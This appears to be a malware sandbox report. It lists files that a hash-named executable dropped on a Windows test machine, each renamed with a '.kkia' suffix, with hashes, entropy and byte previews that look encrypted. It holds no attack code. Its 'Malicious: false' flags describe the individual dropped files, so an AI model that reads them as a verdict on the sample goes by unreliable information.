C:\Users\user\Local Settings\Microsoft\FontCache\4\PreviewFont\flat_officeFontsPreview_4_35.ttf.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	759166
Entropy (8bit):	7.068521703125469
Encrypted:	false
SSDEEP:	12288:r0++ziBvyUgj/LzKXHyheIQ47gEFGHtAgk3+/yLQ/zRm1kjFKy6NyjbqqZyU1ovl:AJzfDjvHXg+1kYvN928
MD5:	731AA62A88BEFFA0D8BAB36E32E9A367
SHA1:	A233768CB3AEFC992087D9B650ECB20156160156
SHA-256:	CCF556274F7974D6C19CA279BC3529667F03B9222713F058DEAD90230732F43C
SHA-512:	0A587ACF06D59614625144835FA04F2970234D00F940946E665D70ACC951843BFA1FE0175BB7878838E49B038E32E785B15F8E44CA29887823605E1EBFCD6B70
Malicious:	false
Preview:	........1.... h....M...Ue..a.....F...5....A....].......F.,.lu.4l....vG.).k.Uv.!=[..w\|r.@Q.....j......}2.$...p4..Nc.(..6..<Z...lj ^.8.....V..8z.U.%(.eF^..e:.bM..e.:5!(q..?....L..7.-....t.O.F..8..C..l......}{R....G...._!..... .#...D.6.8P...9q..D.8.y......6.\T......`.w....!.zy=0.&..X.\..A..E..{.....dEf.J.`....7..w..ww....v....~..,w.@.hF.....\|v.8Gx.4._..S...\|..}1.....(..l.wo.Bs4.b.,...$...d.}._.7.E::~..8V..B..Zb.mn.....W.......kz..d......).d..O.T./....;.8@^7.C...%1.8EsY.i.. .y..CJ......(b05vfWL.h.<.7q...,.X...0W+#[.A.A,..G.......w..J+9>M......as........;.....Z.%x.......Z.+ Oal..!..b..di.y..rI...<j.f.l../.......uRd.W..F.._........&).6U.......;T2.)...B.x...#......~.?NC..<....-..{.....r....g.er.{..3.P............A.H.*..v...f3..>.......Fj..G.WyxA.o(.q....:..)e...3U..s....4\|..S...# p.\|\J.9...#.M<_Bi..43. .-:.m.~a.q.....tB\|O.).fh.d..n.#"......g..UC2l.,.....&W....k>.5.....,Mf..we.bf...4".`.d.}E.zz]}>.1..t:t.Y..d%m.;i...IU.....{<...n.v..y.v.6.._.W

C:\Users\user\Local Settings\Microsoft\Internet Explorer\CacheStorage\edb.chk.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.979165403148144
Encrypted:	false
SSDEEP:	192:mhOJT5axg20LU6PaQH7IB4KimtoyUyEVd2OvmgS20:lJT5VLWQSoyUyavb0
MD5:	76A9623185D1858411C9A7A9D8980007
SHA1:	B8F70939957657369E816ED40F2477410B7ECD79
SHA-256:	F4F061C9A281AAC40272DAC3EF1C028B299C2DA45481F93B25C808297ED9FCA0
SHA-512:	58DA6CFEFBDACF8731970AD9205303F7BFC024E240CDE1F05044F8A59CC942A81C6A24CD86AEEE501B315F587192CFE6D642966A8ECC3C69373E08BBE7B4DC20
Malicious:	false
Preview:	.3\|....V.....1.+......j...(......h...".W.......e...(.@.fzB.W.'.....+...e.........:....-Rq9J..E..:...U.I.R.-.... p.....8)X"i.ZKs=t.Gb)m....3ri...<.....<.;..(.5.......F.^?.TE...Z..6.>}..:.:.M@l[#>..$.;R..O..../.E..A..\e....[o.......?.M....\|"....UM........t.,k.+a...2...D9..u...g.....gY..l^.y.F...].r.}.{.X.>.u...Wr..t.^...;.K.[=.a.!..J.I....h...8.U..F.Ah~4#...p...[.c...}. ....e..}o...s.....[..2.{..G..-C.C..Z..1S.k..+ t~Z.......k._j....4//......"..hX....U..B.O..YA,.....#."k}.&..R%.:......G.~C>.H..Z ...d:.i.T"<..U.n....8.e..s(Xt..G"Q......tp..)r...........^...G6..........e_V.....9..g. m......f[..G.ly......H..i...t..".6.D..G.8...\..z.........H.c.....\|U..5.S.8O<..'.2.s7':F.........u..V..f..=..qu^:.._..&J...~..Z.z9...!. ..Fd.I.S.L......!...!Mma.......L.........@-.s..FX..Z..........f.$.=.4.e...[...5..f.. ..&b _...s.....d).........NA..W)..$...%...d.%.L..Z&..B.KM.#?...>E.c......h..U...Demq..l....d.''..p....H'.Er4..lV...!.....^^.M......6.`..6

C:\Users\user\Local Settings\Microsoft\Internet Explorer\CacheStorage\edb.log.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.963481121493947
Encrypted:	false
SSDEEP:	3072:3IsnTYX7YeA4X5rH6HKqjzdZQzzrcUdOMiFK0+X8i1kaWethA3jRlhLNKT61m5pJ:7TYXMR45CKeYzZOrFK0a8KqecLbjY
MD5:	E38056659AE6ACAEAF502925F52F334A
SHA1:	0F5F997A048D5D7F46923A6FA8EC533704B7988D
SHA-256:	134AF4B418875604C3D39C2B911FCD633CC78A3237A1BCB78D67A00212BFD09E
SHA-512:	BD5E2D30C82E131D5E9AE2901C03C3D08D0B4167F08F6D7371A352A048FB2B35526A9B84971A42241BE8D6C5DF8ABFC7F5FBA947C2D77CD8496A8DADD974200D
Malicious:	false
Preview:	............k$.5..l.. .P.yW[...5.d.B.B.,l.0'C3T....Q...i..0../\|."RQ?b..l...$. ^...#(f.6.F.ou.kZ..a...r.J..Q........VP]..#.n....\|......w..V.........D.H<.MU...#..K.\.c.$..,.......M.4..g....w.{.f[[.9\|...X....'.U.zw.o...}.l...{..}..U..9o{..lw...5.P..S.....E..;h..).W....@.Kc& b2H./..A..C....3.O..F~P...Q..$.m..6....O6.V..V....m.A.$R...FE\.?........3Z\y.c....T.(......].fg.P.J...I.@..............\|C.s.u{M.mr.....u6.'....UP.+_.' .k]W.x...P....{x.#./.......*.J.....m<D.IK&......<...R.P.x.q.....%..X.4@.Vy.y.O.......K......0.V.#.?...h.8..&sI.].U......1..4B..F<..n^.8#...V....c................N..1.+.g..{....$L6.Y...v.g."..NG.Mj/...(i.A.<..C:$..JS.^....V.[.OK...b.m..l~...p...[cD\...b%$P.S.+....=....^....s...l..Bv.OR..2....c.Q.4.....e..y...h..4=>.%d.,.c.......Lg.{i.Mw....me.(.&..~"..6x.....UzT..;.u...;OF+....9.8!.kA.~.9..._...E%...=...8...#.C.^b..!g....q..}1....V.........>..E?'.D.^.n..n.xH..~T[.CH...+d......@.e..o..D.#.\..bd.V&.=.......

C:\Users\user\Local Settings\Microsoft\Internet Explorer\CacheStorage\edbres00001.jrs.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.2073894938359486
Encrypted:	false
SSDEEP:	3072:ms7kQ/n+zY9hJ2WYVQsm5JtGU8tMWRvhLtGTTSrATIqzlLX5UrLU:mtQ/+zYd2Wjntx8mWxhRGYzPU
MD5:	A31F6B567C9B4E7B4B635C9084C58DED
SHA1:	ED5E22930E967752E151BCA53DDDD12485FA4091
SHA-256:	4E873896D3FF2EA3D31367A2F8DF679CCB0518FDD93D52E54889C82E75106F3F
SHA-512:	A977DC250BD935B93D771342C9004B00B84592D84B6AB2872856786649F3F96E519B8FB1CC98EE75E5C05EC502ACD29271FE118F1A3433AFCD5AA8247913D374
Malicious:	false
Preview:	......%Y)..-.y.x;/.:_....7nz.~.n.,b.....e.[QC..h..b./..?...2Q..#..Q..P#..HAl..?....N..z5..........Y...~....~x.......+^.x.g.....P._?\E...........T.t....3..P>...l#....?j....&n$'F....;..D...M..xj..D.Z.)....&M..q....U.T.....r.e...#.}.!..C..e........V.c-..l'.+....\|.:c.E..o...G+..tO.#.....W.'..y.!.lh...."S].M..Z['......K......U....8~;.!....$yMS..K.....$.#?...<..K%.?=F.o.g.b...P..P......A%.....{........K.....]Me\|...B..?.Pg.`s..f7w.0t.y.n.'....gV....C...^.....s......-.@k..B....!q.C..DBvqY..9.#bS&..1hC.iFCQa....7.....D........\........].gO_..... .&....e.G..t...:.-...a...g(>.1..Y5%...a..#0-.Zc..b.o...T......pp..h.C.A......0/ .>...\.s....8Z...Q..G......C.D').B..73u.\|"\|.b[:.G.i.C..t.E..a.o._g.........>....F.p..b.I.Q.6.>..h..P...T..Vl.3\|.......i.._v...........[K...4t.b.9...0,.....U&.Tu....1)....D......4_..G).S.\|1.F.*....:.....8.L\.....Q.7..W......L8.(..e(9..)\.k....RQ.%........N f.1.sM...1....#...I.'p....a..P.....,..2V....{.^.#..J2...:...Vq~/p...

C:\Users\user\Local Settings\Microsoft\Internet Explorer\CacheStorage\edbres00002.jrs.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.207499799617342
Encrypted:	false
SSDEEP:	3072:yjIp2BN2iodD2zIgtIi16yvXRc+SJSAIlW6VG8uEvESUm58:yMp2BNhodD2zIgt6cRc+Y8lF8qG
MD5:	784528E70C113BC2DC99ADD49B1730C8
SHA1:	B954B1C0FB809E43847F16A31D9698CE709C5348
SHA-256:	A4554FF3585C0CF020E48E9D7D270966B957BF8852E453CED8A9A4CA573D6A4D
SHA-512:	1BB1F3935958995DA8F988F3596FB252E4B78D59B3E65AF9A0ABB0FF4DE214535702CC2089258B7E8A385B32782ED40B7A02A03D4B7C194010F8BC1FD5D1937A
Malicious:	false
Preview:	.........$....D;...$..#..X..5...q.g...Y..].x.>ok.<...Ah......6D/...tN\..........DI~.-UE...q.>..o..1}......I...!..V..O -\.r:.)P....XN_W...<.N..K..8.#.&.t-.e.dYM+hA..O[.. (..1..Y..'?..'.s.x.k........s3..g6..M..?.C....o.p...4H......v....x.........Z.(..V.=<..}"...i..ps6..q.._p!...il..Hf...w......(..\|.G.q.l}..K.f..\.,\|.5.i.#\|......^..,,........kIP.'.9.....[r...Q.Z.H$.;&...;FG...^"u.H..._.2...d....b.....?....Y.g.].....e&.D._&.H^..'r..)=.<xi/...<.=J...Z.jAf....6w.Eg.[+E.r{!..S.....c..........zd..]....r.@R.R._....Q..\|~.3..Z.a.N..f....O.....3....`....-.>..W..@..X....-R......v,q.y.....3nm.....<...Z..s.'t"H..^...}.).m{.@...`.!d.a.i[c>...H.m.j.X^0];....4.. Q....Ix.8T'.d...dR..Z.Kb_El=1...((.#8$1. ..{z#..........=u.J..\/..-...+..hL)..Wne....2.}z`c2C.e.....C.@..{.[i.e$.6C..5T...88..B\.E....1.........50?..VQ,.u.T.3..IT8..3pN.A..7..A..J.0,.[.V..r......H..OxD.x.....\;3_X..o.;.....Y.q.\...........P>.3}..Y..Q.3?..u....b+..d#2h.K.Ie....07.t...NaZ.8....`....*.

C:\Users\user\Local Settings\Microsoft\Internet Explorer\CacheStorage\edbtmp.log.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.208068166529799
Encrypted:	false
SSDEEP:	3072:gntJpPsvtRfB0pP5icbIV9/Y/DAuUsrlGkk361ERpiQRoRL4IyfKa1M6O22:gVsvtspBicb2MPUsIoowPyfTM6z2
MD5:	21E772672405987FA692A5204DB725A8
SHA1:	E83A0A9C83A5119A314165D5CFE3519B6EACF568
SHA-256:	CAA93D2ECE4B9C90059B7718C6FF0E18A32B5562ADB9169C710DF13AE15C5DF1
SHA-512:	EA84FD0F1DF4AF5B7B64506A8C1F23F14967E8D6CF632F26F52A86E9941CC1BF1CEF0FC5991B1675F9B8970128849F4BAA4BC427EF9AE4E5C261382F341953C1
Malicious:	false
Preview:	......U+.....7...5.4n]....v...<...p4......t^"q...52......V..7J.....}.q7%,..)Ofzn..Y.8...2)+Cs..;...A.....:Q@?.W!..m.o..x..9.z..<.OI.7..}w.w.\|)eB..d.....$..p...[.O.r.......Z....5...F.j,9...X...g..;..U.?.b..5..".P....J..>..X....F...;.h.U[.S..j7..z\|.X...P.e.......N....,..........l.r.......J.^....m45.rM..Sq-..g.$..{........._....w...1.m.\|...b_.HE......Pa....;B.t-.PDp$........`E............ .tz.$...=.K83.].(...tc..<...e..J...'./.qvd#D..\|H....20.i...mB...~.d...B..B..;....U.c......W..kj.~....Vk7...]..6z.F.3pb??....#.\...Y8..n@.%\.."...W}.v....;.Wd.nu,.....%H.f.,..T..E......G".x.`D..B......7..T4..@#.o!..}.R....9.....,\|J..vg.e~.....2`.Ij..".c..g.).e>+.R.U.{Lt...S`...a.4...QM,%S._.....$h..r.O.M..n......]~{...N.:.:y...Ih.....XM.Y......j...H,!..d/........uh.{.MppcZ...."jx.A.,F...$t..S9..(c[..k.......}.ejEm.{.....z.-..J....%PN....C}.I.6.@...\. .]....}>..."...CG-J._.+..>....D<!....J.:.'.\|r]t...b..8..W..#\..*G.5....=..B.x.^.P;X.S..\|/....I.\|.&..K...,.x

C:\Users\user\Local Settings\Microsoft\Internet Explorer\IECompatData\iecompatdata.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	3384
Entropy (8bit):	7.942176683426807
Encrypted:	false
SSDEEP:	96:CdQaZVXBFUa7/eZsagXUQmjfEODbDBs/W7yt3cX:oQaZVRFXreZsagfmwm1seea
MD5:	1EA5070183A5A47729E1AEAD635512D7
SHA1:	3557E349C72C47BD9A9A307BC64C62A20DC632A7
SHA-256:	A7C3314D47217147A80C1A8FEDC46A708A793A3245BD1DD357F891210BBA20FE
SHA-512:	C05CCFE5F6F1D34C09B50411A15D222179082452ADCD47C7B0913ECFF0CC0998955D91DDDCAE2A612240205BA94E1F48B259360665F2125E02F3E4D1D7C470AC
Malicious:	false
Preview:	<?xml}..0..L..-..O.59......ot-K.2.. <G_Q..Gf...R....Mf4....>..8,.....G.../Y...O.Z..4)U.p.a...Q}{:U..a...2.umJ......y..$...d..Z.F<n,....\|...!.xA.....G.....3...u..E{.c."n?_y..".pr..Y&.!s@}.p9......Zn..ZD.........'K.c.I~L.a.d1...gC......j.WbQ....-.p2J.......m..._...r..T.I.L..+.....?...y;.{.B..~h`...g.............cS.V.8..A4u..i;@1... .#...zl..lj....-o.f^..\....y/....>..-..,.a..B..........:=Ta.a.(.5..%..z.../`u.}M] .\|..L.o...l0...gj.v...a.pb......8.....n`5u./G.b..~.7.i.f...w6.b.K.0p.<.S7.5.6v..Aw@P.Xp.IL.je...pZ..}r.k.4.....".a..K. qO(....G.)...G..R).Wsq........Y....X.k.....,...!...93.?.Q....6......,...\..sJ<.mr.8.........$.,g.G.....!....P.=.OnV......0..$.y....{..~^,...x..$.OL..rI@`Dw...4.c.>]$....-.T......5.h...k..De.}.}.t.... +H..a.D....H."lw.t.x..C97..".i7.QXU../......5K..S...`.%.yjI.N,:.S...n._kh0g.......a...#._.DX.*...%38..?..O..L.,....<c._j....l=..Z....Bz..........0.H.......ia....'.gb#.h.gL.J..q..LF...^L,~......X.Kg.w~.u$.cI`.2#

C:\Users\user\Local Settings\Microsoft\Internet Explorer\brndlog.txt.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	6905
Entropy (8bit):	7.9705876687345825
Encrypted:	false
SSDEEP:	192:b245zv7ZtmBq1QV5uHInRDGxPZF4EIPOF/KOx68RS7:FzzZgq45uonRah1Jry
MD5:	D0BFA323B1DE6C8D968AC770DDD65982
SHA1:	44A033663045F1314FF221E60350304E4FE53411
SHA-256:	C693811899FB061060494A6C080111ECFBD724EEFBF2CDE08123F1918FA69303
SHA-512:	2B697FB47E03D394DD3EC99BE1489D7F2B41D4D1A521E92F01C4DD76B7514A5F050EE0BDAB7A9B919EDA50F88D2E116159F92DF96783D1C23B36E5280CA7CB83
Malicious:	false
Preview:	10/05....W}.S...\..M.U.K/x.w...JJ&#zBD.E.........A5..sJ...p.N..i.P.:..Nj....J...S....r....!.>...v.1#^.e..oGF.jh..t...I.{..=.....R).8..K..EW...$k..{.[(^L.6r)<....?].W..F.O.....{....o.;J.!..Qb.g.q...E..i.=..$..s.........4.f<......o#.1.n.%..A.)..m...&..\g....9.q.y....m&..m6..Z..#.+\...(..V..6.... .....G........7..B..;.B..<......<._.Nmy..I..U.......V.a..ar.W.0....\|..66).%;.......c..."...v...z).a...6r...6.8.AJ_.Ni....6.R!.l..f....p.RjZ..@S3v..(_......%..q% ...G..Xs.A./L.v..h..d..V{...o.x.&.....+`.U=S@.G..H2A.(.3..r.v....3Ig...uW$.`.byX.n..uN>. .......0}VD....5y.y@#w..A...P......tj..D...U+..,..joam...B.Q\.n....#.....t....b.o..{...9..V2....n.....Q..R..l_.$.k.!.h%]...(F.Z..wHik..X.}.Pv.z~..3..1..........!&..T.......T...:..Jp.....d..`..pgqD.F.:.".:'A.....j.S.8......g'.kPFI...^<M..e.%..h.5....F...o.3...rD.t..uJ:..3..1......vC....HZ@. h..}.....G.l....8s.rH...5..mQ.jm...D...D2....cO.R.T...8.+.jYi...f.f.......s{Y95..Q.:=0......F.....S..

C:\Users\user\Local Settings\Microsoft\Internet Explorer\ie4uinit-ClearIconCache.log.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	834
Entropy (8bit):	7.75020719635384
Encrypted:	false
SSDEEP:	24:QnlM6x5M13oQsyKa0nItrtXIYaTcJPyF1BQxNviAw67kbD:YlrC3o6KPI96YYcJJNx1KD
MD5:	28854854AEAFF89D93ADEC5438B0DF3B
SHA1:	BF2FF31282124B83D755C3FABA10A6B3CCB78BC7
SHA-256:	F8218202F6AF41F07E9C1156352DE96DF5A2ACC143DC2AA03FA2B7FA70DE1CDD
SHA-512:	C1AF13B47B3B3C2CD95B62DD06834383EBA00B8F67B8B06E7DC010189A5D85AE605D2262CCBC279BF089BEA700231CCD1B1BE6C9CE626E375F0B7D04C8AF32B1
Malicious:	false
Preview:	..1.09..x^....6........a..].`..yS...2...(...B."..D...:...^#BC....Z..........\^..O.............k..k.........N)..d...v......Y./....C..oh.................m.....2.dA.....{...gx..bqa.s 1....=RpR?.-c...g.T....P......@......Z..U8..3wb.^.E.b....gH4.VtPI...5z}..9.</:~..=..# )...5K...b....W.-...Iy....M.X`.Y..V.a!....XG."&\.~.{.....~;jWN.......c[0......o..m=.f2..G....m.....i.$F...%1....X.c./..@d..w..g.b.A-.d... .....k&%.L..+Z...<..=..,.<2.L.iuL)&.....{...$a..{.#3j.l...2.r..'.A.U.^Yb3..,.$Al3.vh.e.+.h1....n0ak..3w'..vbht.?r..7:R..G.Me........Z._t..S(.o.f/S.....F......m......{.+...v\0.....J......y.y^/h..u.F.Y...r.v.u.6....<.E^."...u...I.jZ.k..-...Q6...o2.rJ..z.l...<...c..,.F.9...q..Z..rA....Ld_S...=..KM.h3h_..9....Z.G:.dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Internet Explorer\ie4uinit-UserConfig.log.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (870), with no line terminators
Category:	dropped
Size (bytes):	1742
Entropy (8bit):	7.880394002850421
Encrypted:	false
SSDEEP:	48:Qva7/oew5vljoiVdg0NgpudJNLlMAPi2tg190v5kyQQGD:z/oeGjow799myxkyQD
MD5:	8879DF7E0DEEC3FC8301A7716C0BFC0C
SHA1:	B7F84323C7EDBF70A1B5790383200C9140A29CE3
SHA-256:	A78ACD07787976DF2B067E3887301DCB4F3BEE6D715321CC1772122DD48F53D6
SHA-512:	96AE806DA88B669B6C6FE0357B240840EAF1D2D1FED972D392B0EB65A624C8C75A2047F940A432E5390BBCE8D4D084B1DC7E5B674F11AF1DB59953261BD368B4
Malicious:	false
Preview:	..1.0...Xt<D....e..D..., ..I^..=NW.}c..B.C.=`.piO..s..R;a...Zu..j^zA5.!a.'.......W.....W....Ll`.#..H....j.....%..r6...:.\.....>.%..S..Z......P..'G..s...J9....X..)N#ZCQV..[.r....\|G.....C....`.......`..W..m,.....h...:E.....8W../..=W.+......j96%.......Ydn.C....H!....`.^u2..)....&\k....{....\....!@..F.}....].hOn.....8s.OO....E.9...A..h`6....dV._5......T.P!,om..VQu....j..z.Q.....6..Gw..[j..JC>w..0B..N3./.H.^tO.Fv.Y.Q.s$...h.s...d.H..kq.3..L.....>od...x$.~....>..>..G..h.dd...I-f....OX...e.Z.O.U.....z. n.6..t..'.~.+...._I......VU....7.......8@_.........Cg.^0L.)R..Hq..o]i^W..2[m.7.VH......P....q..QL...6...7Y.l...v.&@.My....E.......=c.x.8.k\<1?\|..V..H..FMDc16.j...h.[$....t4..j..........T.Q.-IO j5..:.%s..r..._1v.\|.....+...W.^.^...5;..Ka.. ..-.z.w..k.O...U...+..2.d).r.....:...g.......q.....e..C.sUe@...3.V..1-R.A.C(...4kC<W..y.fc...Z\|'.?.....[...ED...:.R.3..e.q.%......x.M7"i.....c.e@.t.*..-.\|......BW.......Qo.T.(L....Eb..&;..tQ...}YBr.\|).'g......

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	1062891
Entropy (8bit):	5.528724997864728
Encrypted:	false
SSDEEP:	12288:B8DOqpUYAWI7jkHxsXSZlV0N8x5thr291gess3TylunXj:AOqpUYhAIHxM
MD5:	14658A2A0ECFD2EB3196610A797EE82B
SHA1:	48525584941C808A8188941614BEAB2A665DFF2D
SHA-256:	330BC317639B41F4DDEB819109D9877337F4DF0925855DB6F67805AF4FA9B474
SHA-512:	A5CC174A94C67E0BA2416521C1840B5FC5CECC78D813C79B215D0DEC43128B066E2F97A3CCE828DAE6A660749949611E3512222D1E8DE5E1E72F6F580478899C
Malicious:	false
Preview:	<Rule..K..F.9]o.........s..jeb....yW..~.t(M...pU1G@.X..j.4>L.9...5.~..}... 3...[.Lrl.fL..l.k...kt..Q....l..K,..D%........1].........T..&......5..#......Z%2.# .C.b..7...H~.A.J..<.W.3...k....NSX..u........-.0.`5p.v.UFGz.?...`..#..).:...1e..ef.a..tq..V.f.C}.P.......{.....~......L...4...F..f..../.=.+..^C^..7..%.....r...Y..$.$....E.;.+...!.KF.dQ.#.D..d,<.C..4.1...b.....Q..(X..X...)....#ab....dK)....U...Rc..0..!.~..I...._.B2A._...J.l[.....@i.g6o..Pr...?./y..VLP..54..@.+..C..k....I......a<D.>......?.Z...6..........5...%...... .......Ty..J.......A..:.n.....t%G..rM.....a..p,..;..{.*'.Auhl...."...i..j:.3b.4...3h._...}.S.n~.- ..b.K....+Hm.0zJ,.B......n..<..-c^.l.>..~..1.=c..D..sH..!<..ehv...?.Y.^..v9..U<...&-v.K..v...)..1y...g.~(...d..........'.Kv..9.D.z2u.)..>bH..W....D.G......v....8...~nH,....[.-......t.....\|...k.O.]...$..6le......n..YK..g.D..T:(.E..:m5Ec...}[.....xD...n..m...q]..>zb..S......X...Aj. r,.L.#WE..kfE.C.n5..".AE.z

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule100042v2.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	823
Entropy (8bit):	7.727645665865533
Encrypted:	false
SSDEEP:	24:Ek2i6nuw8zW4lC8Ew84/posaOo9DDmkbD:Ek2/nKJlo34uyo9zD
MD5:	FFC426DC265C1AAD5B5C89A7C4B513DC
SHA1:	3358CCC5A06C101B187611E948F10E60DB3ABA9C
SHA-256:	60DF7EEB5112C8746F5C4AEC358E6F54E574659ABA5064E364D6EDC54D1F9CC0
SHA-512:	E7730D0720483A1B7EFFDB6BDE354FA5B472FECB0B17DE78F94F804DB7103BE1DEC11DBF2B5952B5C62CE3D7F976943AD13D72C3546534BB488F9B1FC61A4D58
Malicious:	false
Preview:	<?xml...dn.w.....}..`..k..o..@.q.D./;K.O...v.O...../...8...It.1.....e+.6.S..Y.J.z......."..B2..X....-..U.p.R.B.....r..J....xi.si...._...^@om...j....2J.....U.e."r..d.Ltj...(MI.#....K'QhK.doo^z...........t..SW.bL .......u.M.ts..Y4.c....g.&.!.%....h.G...z...6?..8>...d..J>@%.i].t...J.....w.)I.....>....Y^....X.x.M..M......8.....m1t.^....Jpa..z.m...zq...5[l..D..].R.....O.9.\|.S.O......{M..._....<...l.{..g....9..9N....l.z..gs.\..L....9}.CS.".P.......}32....r.J..'..m..P...8.U.^.)1g.Ln.B.Y...`c.....8#..C.[L..Q..R.....\|$X?..(..C.b...{C....s.d.C.5...^......G........b.[....uL..2.......7.2..e.7-{Q.R....oga.Qc...~.......pg... Ye.]_..,.Y.u...E.)...O.]p.2.....*.....yL.......Y%...L.5.q.yM.M.(.P>.1.73..h......= .`co..dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule100043v0.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	7.778703745266076
Encrypted:	false
SSDEEP:	24:n29olYtbW3fNPF/s6alATqcVLBSE5vK9wGB0jkbD:nMo2ty3lN/sn6TqcVB5CH0yD
MD5:	98ED1F162756D689616A670F0B1BE17F
SHA1:	7983D1359A342BD8647E452FBEE94C4E13C5B5F8
SHA-256:	86729BEA600A5BFFB2B0CDF47D33B31BC6FE115454A0C2127742DF554D228731
SHA-512:	635332A38DF698259FE16646D9E375E9B1C4688DA9298D3272F72AD201CAA8CDC884716C59A7D63CF5FADC48F0825E9001739522EF8003BD218E80BA085532F3
Malicious:	false
Preview:	<?xml..S..m.+."O.....r....r;F.....d.......qFB$..F.!....vcu.B.!.L...W....N.....!jA.....]'~T..:.......6.B.L..$H7...^\|..gNl....e..~.......W....^..C[R.Mh.k..`...g.4./(..#....y...@.30.(....&..H,.x.....?..02...}.3(......$....E.I<...^..:q.q.VZ..-.....%.u....M.~I.M......`.9x.l8.I8`p.i6t.P...;3...0.........;R...m....i.......w.z..@..v...D.s.'.T_.Y.W.J..z..2.....P2bT...E.6m8.....!.?.....99.....V.......b.@...6.;\..k.<z.).....G.........Y...EX.W...SA.P.i{.S.......j...F.)...iaY3.@..w/...0..?..0....q.I....}..)....1M6.M.............;.c...p..A..Y&......9.+....^.(..[.UW."c....G.u.RF..U.hc. *......CLH..h.A....ab..@.du.....u3.5..-.sU.$...iO..6r8...`../}..N.?.b....r...G7..A.N..2.Z.nJH...j.5\..............F..T.K{M...ti.(..,$.o..j..LKv..c......9.BdYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule100068v2.xml.kkia (copy)

Download File

Process:	C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
File Type:	data
Category:	dropped
Size (bytes):	791
Entropy (8bit):	7.680505505432544
Encrypted:	false
SSDEEP:	24:nfNG01QQPwtI7IZiFBuELJAZ8yxyT2kbD:fNGSQQLEZGIEFAZ8qyD
MD5:	B793EBC7589D4E2AC26BB0789F6E2C08
SHA1:	0B128B4E41C6C21D2A55839CE46A939A03473D48
SHA-256:	E6F72B6FF689AE75B2BCD36ADF441B8255FF7390D7BCA1456A604D85DEB062E6
SHA-512:	6110F4567F44F1CC3E1BA55E29E9899186D4C9DC3487460BFCF5735B4641F42C34D32C30B2B678615CC8C854FDF756050F8A7FD591B416732D630D124418C480
Malicious:	false
Preview:	<?xmlg.q..q.=1..+Y.....B.-7.H.$....... Ui..=.J?[.....c_.0\|$......h.$..(...\|H+WV}.Y..\|,...G........y&,_...G...k=9Be...4Z6.)...``.._}......P...P.,.x"..F...H. ..E~..j.1.....?../...=.#.x..n....E..Q...".6._.....61.2....2.....A..5.N...3l.!..ap.u_....&......,D....q..,d...J.g.i..._I..}..;r.._C.p6.....d..g0.zr....:=zO..lx.,l.k..Gp.\|.....Lt0.....3....}.0Wz.....J..Y...0.....CZ.5!...-CNWj.... .r...y.;..l.y.1..../......~.\|.!....E.....\...TC7...\|..Es..X.f.(lX..............A6f.6....._.)....g....n..nS)...u.D..4.....................Q.v.^=...\|v..>Ou.:s.5.....<.b.Q..O...(I.g.X..4V.q...,....Un..0<.{.Z..\|.........x.<:.z.S.VP...x .dgo.M1....V\|.7.6.V..F..7MT;...?........)V.o....q..0p..Y.L.....dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

